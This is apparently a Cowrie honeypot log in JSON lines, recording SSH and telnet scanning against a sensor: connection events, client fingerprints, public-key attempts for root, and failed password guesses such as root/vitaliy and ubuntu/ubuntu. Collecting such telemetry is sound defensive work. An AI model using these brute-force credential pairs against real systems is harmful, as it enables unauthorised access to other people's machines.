{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:24.750896Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:24.836357Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:08:52:9d:4e:c7:f0:83:3a:19:9c:eb:60:63:e8:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyKndJsEi5t3tI5Qw+1JBAiaXoL78qUGbVCSU1MCgJJEwdMrBdTB9RWDErxPxUi6lAe3z+2+ClIFsk6qYXCgIUUC+klv2TQYvcoQvaCg48DeVm0rAeH1o0/4c686uaACRB1Zi0w0B6ZFxa6KZjxpgsVtR8xLyy2COxdaexFLmZydlq0I5LBk3X7zlcZJ+dkA3jFS6eqbSGqgowe/qxhIE24V8QCec+m+zVlAiWTORyYv+2rsvNXvJK7v4LaRTcU3WOtWUACZl34+r1TLJYK4iDcLTcI6EhnK45qd+9TOB2Nnw2+G8sC1lWFaEqyFJo0cLtKQSTUfvmzKsHzNtcsGLgw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1b:08:52:9d:4e:c7:f0:83:3a:19:9c:eb:60:63:e8:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.232716Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:08:52:9d:4e:c7:f0:83:3a:19:9c:eb:60:63:e8:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyKndJsEi5t3tI5Qw+1JBAiaXoL78qUGbVCSU1MCgJJEwdMrBdTB9RWDErxPxUi6lAe3z+2+ClIFsk6qYXCgIUUC+klv2TQYvcoQvaCg48DeVm0rAeH1o0/4c686uaACRB1Zi0w0B6ZFxa6KZjxpgsVtR8xLyy2COxdaexFLmZydlq0I5LBk3X7zlcZJ+dkA3jFS6eqbSGqgowe/qxhIE24V8QCec+m+zVlAiWTORyYv+2rsvNXvJK7v4LaRTcU3WOtWUACZl34+r1TLJYK4iDcLTcI6EhnK45qd+9TOB2Nnw2+G8sC1lWFaEqyFJo0cLtKQSTUfvmzKsHzNtcsGLgw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.236799Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:86:02:ce:ff:2d:5e:e8:36:6c:4f:e1:5f:46:e5:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbCmkDOyComGBuV6k5dS2Ci9j/3cYT7CE4ebQ1kY5Jk3uGERGc2MQ07XkbWOuH2KZaXuYuCsXPWeGUpLKp6AMSZ0BXkO83Ngp+Xh229ctMxPqR3mtWhjzbex43mJNj2ODAbbi7Ou9aIiyM94/1b+nW7nzFxWp9kED9b8LMLxbs3L0sp1jf1FKQ74FXXvyUO/2M5HStPJpvZzmwCC9M1sCNfXO+WewWZ8MoGNMGxRcZg0XmGCkdLswCuCsze3PByf4NM21gkiSwDUGuTkYwd8b6PAQK6yprm6XzJc0jckgG7rauvs85wml4l93dcFljIptt6mhupi9ZiY01b0vPDTp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:86:02:ce:ff:2d:5e:e8:36:6c:4f:e1:5f:46:e5:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.321918Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:86:02:ce:ff:2d:5e:e8:36:6c:4f:e1:5f:46:e5:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbCmkDOyComGBuV6k5dS2Ci9j/3cYT7CE4ebQ1kY5Jk3uGERGc2MQ07XkbWOuH2KZaXuYuCsXPWeGUpLKp6AMSZ0BXkO83Ngp+Xh229ctMxPqR3mtWhjzbex43mJNj2ODAbbi7Ou9aIiyM94/1b+nW7nzFxWp9kED9b8LMLxbs3L0sp1jf1FKQ74FXXvyUO/2M5HStPJpvZzmwCC9M1sCNfXO+WewWZ8MoGNMGxRcZg0XmGCkdLswCuCsze3PByf4NM21gkiSwDUGuTkYwd8b6PAQK6yprm6XzJc0jckgG7rauvs85wml4l93dcFljIptt6mhupi9ZiY01b0vPDTp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.326290Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:a7:95:2b:ec:cb:39:9d:b5:7a:6f:fa:7a:5f:c6:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpZg8lcVxtZLMLTZ1CTPIfip9hE+OTf8ulDyyqguix5XVYva04Zmoc769Qam9GdTt2FY9Ht25prlXX/LEefIjArSSm4r9ukIdd4Ni26FhdaXIC9Db+/koHN3YA6sMS4pdd5QiFgUAlUhm1a1k/h7re/2A0+BE3u3o7GN92mZWkxbuyJLwxBWkTcvjQn7OfTc5CtD2ll71zYHL11bq+/yrjbyewhJ7ep3Zp3PY7BJFTcC5YZIGVAh6L3XbqVgiqQ60uphEfzP+eOAyzdmj/60hrjhjoM2xzMWMmxUqW6zG0AuRU44iHNjfxjMDADw4yXa2cVdFCHvwNmApfvyXjENrd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:a7:95:2b:ec:cb:39:9d:b5:7a:6f:fa:7a:5f:c6:28","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.413025Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:a7:95:2b:ec:cb:39:9d:b5:7a:6f:fa:7a:5f:c6:28","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpZg8lcVxtZLMLTZ1CTPIfip9hE+OTf8ulDyyqguix5XVYva04Zmoc769Qam9GdTt2FY9Ht25prlXX/LEefIjArSSm4r9ukIdd4Ni26FhdaXIC9Db+/koHN3YA6sMS4pdd5QiFgUAlUhm1a1k/h7re/2A0+BE3u3o7GN92mZWkxbuyJLwxBWkTcvjQn7OfTc5CtD2ll71zYHL11bq+/yrjbyewhJ7ep3Zp3PY7BJFTcC5YZIGVAh6L3XbqVgiqQ60uphEfzP+eOAyzdmj/60hrjhjoM2xzMWMmxUqW6zG0AuRU44iHNjfxjMDADw4yXa2cVdFCHvwNmApfvyXjENrd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.417040Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a4:09:39:f2:25:a2:ae:7b:c4:b8:44:be:6f:9f:c0:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69hBHx13+YMDqxfVSSOADLXHw7m6IwPwqBXziW3pVyG4kmZlyVjaW4kou5WVK3P82XTO/gQg6KkZwx8G3MBDbLYbHzAzs6iRpiGWiI7Zd2vxCY8UF6rr21nGGPJVfl4qCUvMTr/8jnVZYqdFVhu9rxvBge6xmyKY05ZwY+wEUozzioEtNkoLXD62Go9fqhj74z7j3iTMd2AkIunzRe65wRFmFyBEydsQ4N0STOug9Hz+x9IHpemEvNIRP3k659Axb+GdLVl5JqxuUiviPmTikeoNFJMy9sGcBRXdwctuRNeeLwscRwn2/bvqpXbvKElF08ZQVndTC40HL+D0ROpLX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a4:09:39:f2:25:a2:ae:7b:c4:b8:44:be:6f:9f:c0:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.504930Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a4:09:39:f2:25:a2:ae:7b:c4:b8:44:be:6f:9f:c0:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC69hBHx13+YMDqxfVSSOADLXHw7m6IwPwqBXziW3pVyG4kmZlyVjaW4kou5WVK3P82XTO/gQg6KkZwx8G3MBDbLYbHzAzs6iRpiGWiI7Zd2vxCY8UF6rr21nGGPJVfl4qCUvMTr/8jnVZYqdFVhu9rxvBge6xmyKY05ZwY+wEUozzioEtNkoLXD62Go9fqhj74z7j3iTMd2AkIunzRe65wRFmFyBEydsQ4N0STOug9Hz+x9IHpemEvNIRP3k659Axb+GdLVl5JqxuUiviPmTikeoNFJMy9sGcBRXdwctuRNeeLwscRwn2/bvqpXbvKElF08ZQVndTC40HL+D0ROpLX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.510056Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:6c:c7:e9:d2:9a:8e:c0:db:c2:05:b6:6c:4a:aa:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEg809NkWPcYIYArnV00f1+Jclk9EfRiARoG24T21OnXWu2w4YlWBC1EUsZqEEHmw4HRDZ5gorOmkE5DtkBbxHO79OBVqBABI76yyelflpaXwl8m7U9XTFzMKILBqopRUWY3yt6u8KztvvY1ixyMjZusl2t9WFAnRksA0fnU5lJBm2LsCVEuEUGgEa92zKihcAWl06g1eB7z7sT1JzSdoIWxQLQPMJSyhGtBK7fzRZ5i/G1Pw8nPs1JGujBE7gYVKfRaMzZ8QNmbXG3F/C3bPE6affbESJjCDdYKCVE2Y7W85/3pHi7dSL4DgM2FPnLzH9x4ODsn4/9xgrKTaB7uc73WroeMxKsM2v912Nk0BHMV90ISVti7nNvohyeFhjmUiCIkoSmWsrmmZBfvwHEbivbVWUM+VcWAMm0d178Id/llQCfk980jaZ+/2s9BuaFlC1jhOQsuIuU4zDsmQjKaQZBwXOj2tLhe8s8Mr7alVP4jO/0SXWNTtgoA+Cb3sqsy32VTetQz/YCBsaoE8M9LCE+QoQ26OoPZ6yg58musgWCViYk1j8qOAcjYBG0FaK84A2BhybKx8QEdxlcUkmVyzs1XjPKIYgHZh1nEfx6I0pqaoT6Y1Y5j1biblCo7FmThyOD+vcalvOoklgP1mjp7o5DZh7avWy+RP/1jwQc/jOxw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:6c:c7:e9:d2:9a:8e:c0:db:c2:05:b6:6c:4a:aa:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.600822Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:6c:c7:e9:d2:9a:8e:c0:db:c2:05:b6:6c:4a:aa:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDEg809NkWPcYIYArnV00f1+Jclk9EfRiARoG24T21OnXWu2w4YlWBC1EUsZqEEHmw4HRDZ5gorOmkE5DtkBbxHO79OBVqBABI76yyelflpaXwl8m7U9XTFzMKILBqopRUWY3yt6u8KztvvY1ixyMjZusl2t9WFAnRksA0fnU5lJBm2LsCVEuEUGgEa92zKihcAWl06g1eB7z7sT1JzSdoIWxQLQPMJSyhGtBK7fzRZ5i/G1Pw8nPs1JGujBE7gYVKfRaMzZ8QNmbXG3F/C3bPE6affbESJjCDdYKCVE2Y7W85/3pHi7dSL4DgM2FPnLzH9x4ODsn4/9xgrKTaB7uc73WroeMxKsM2v912Nk0BHMV90ISVti7nNvohyeFhjmUiCIkoSmWsrmmZBfvwHEbivbVWUM+VcWAMm0d178Id/llQCfk980jaZ+/2s9BuaFlC1jhOQsuIuU4zDsmQjKaQZBwXOj2tLhe8s8Mr7alVP4jO/0SXWNTtgoA+Cb3sqsy32VTetQz/YCBsaoE8M9LCE+QoQ26OoPZ6yg58musgWCViYk1j8qOAcjYBG0FaK84A2BhybKx8QEdxlcUkmVyzs1XjPKIYgHZh1nEfx6I0pqaoT6Y1Y5j1biblCo7FmThyOD+vcalvOoklgP1mjp7o5DZh7avWy+RP/1jwQc/jOxw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.606368Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.694650Z","src_ip":"141.94.94.32","session":"6b2089b51d3a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":33284,"dst_ip":"10.17.0.5","dst_port":22,"session":"44da0673525b","protocol":"ssh","message":"New connection: 103.15.222.183:33284 (10.17.0.5:22) [session: 44da0673525b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.849166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:25.854394Z","src_ip":"103.15.222.183","session":"44da0673525b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:26.103072Z","src_ip":"103.15.222.183","session":"44da0673525b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitaliy","message":"login attempt [root/vitaliy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:26.845174Z","src_ip":"103.15.222.183","session":"44da0673525b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59902,"dst_ip":"10.17.0.5","dst_port":23,"session":"f6c65d62decb","protocol":"telnet","message":"New connection: 152.42.224.71:59902 (10.17.0.5:23) [session: f6c65d62decb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:28.081799Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:28.094553Z","src_ip":"103.15.222.183","session":"44da0673525b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59908,"dst_ip":"10.17.0.5","dst_port":23,"session":"dda81de1623d","protocol":"telnet","message":"New connection: 152.42.224.71:59908 (10.17.0.5:23) [session: dda81de1623d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:29.434471Z"}
{"eventid":"cowrie.session.closed","duration":120.00258922576904,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:30.774526Z","src_ip":"152.42.224.71","session":"9d37a2520129","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.27618479728699,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:39.936169Z","src_ip":"152.42.224.71","session":"95f1fde6b937","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":39722,"dst_ip":"10.17.0.5","dst_port":22,"session":"140816ff61ea","protocol":"ssh","message":"New connection: 103.172.78.219:39722 (10.17.0.5:22) [session: 140816ff61ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:44.613230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:44.619152Z","src_ip":"103.172.78.219","session":"140816ff61ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:44.876904Z","src_ip":"103.172.78.219","session":"140816ff61ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1998","message":"login attempt [root/dima1998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:45.624294Z","src_ip":"103.172.78.219","session":"140816ff61ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.5783965587616,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:45.638175Z","src_ip":"152.42.224.71","session":"8f66b26e55b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:46.876463Z","src_ip":"103.172.78.219","session":"140816ff61ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.47596764564514,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:48.364590Z","src_ip":"152.42.224.71","session":"cc2222901692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":44124,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad2347fcfa89","protocol":"ssh","message":"New connection: 80.94.92.171:44124 (10.17.0.5:22) [session: ad2347fcfa89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:48.889171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:48.894004Z","src_ip":"80.94.92.171","session":"ad2347fcfa89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:49.042472Z","src_ip":"80.94.92.171","session":"ad2347fcfa89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:49.374447Z","src_ip":"80.94.92.171","session":"ad2347fcfa89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:25:50.602401Z","src_ip":"80.94.92.171","session":"ad2347fcfa89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":46846,"dst_ip":"10.17.0.5","dst_port":22,"session":"8315c1cd97cd","protocol":"ssh","message":"New connection: 103.173.227.57:46846 (10.17.0.5:22) [session: 8315c1cd97cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:26:02.291776Z"}
